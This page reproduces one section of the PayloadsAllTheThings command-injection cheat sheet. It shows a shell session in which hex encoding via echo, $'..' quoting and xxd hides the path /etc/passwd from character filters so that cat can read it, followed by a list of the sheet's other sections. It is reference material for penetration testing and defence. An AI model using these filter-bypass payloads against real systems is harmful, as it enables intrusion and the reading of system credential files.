Skip to content
BackEsc
Connect AISign inSign up free

Command Injection · passage 13 of 28

Bypass Characters Filter Via Hex Encoding

1 code block · Command Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Connect AI

Open this passage on GitHub
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Source: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 28 is a mark on the map. Named now: 1 to 26, reading order first.

  1. Command Injection§ 1text · README.md
  2. Methodology§ 21 code block · README.md
  3. Basic Commands§ 31 code block · README.md
  4. Chaining Commands§ 41 code block · README.md
  5. Argument Injection§ 51 code block · README.md
  6. Inside A Command§ 6text · README.md
  7. Bypass Without Space§ 7text · README.md
  8. Bypass With A Line Return§ 81 code block · README.md
  9. Bypass With Backslash Newline§ 9text · README.md
  10. Bypass With Tilde Expansion§ 101 code block · README.md
  11. Bypass With Brace Expansion§ 111 code block · README.md
  12. Bypass Characters Filter§ 121 code block · README.md
  13. Bypass Characters Filter Via Hex Encoding§ 131 code block · README.md
  14. Bypass With Single Quote§ 141 code block · README.md
  15. Bypass With Double Quote§ 151 code block · README.md
  16. Bypass With Backticks§ 161 code block · README.md
  17. Bypass With Backslash and Slash§ 171 code block · README.md
  18. Bypass With $@§ 181 code block · README.md
  19. Bypass With $()§ 191 code block · README.md
  20. Bypass With Variable Expansion§ 201 code block · README.md
  21. Bypass With Wildcards§ 211 code block · README.md
  22. Bypass With Random Case§ 221 code block · README.md
  23. Time Based Data Exfiltration§ 23text · README.md
  24. Dns Based Data Exfiltration§ 24text · README.md
  25. Polyglot Command Injection§ 25text · README.md
  26. Backgrounding Long Running Commands§ 261 code block · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Sign inSign up free

Updated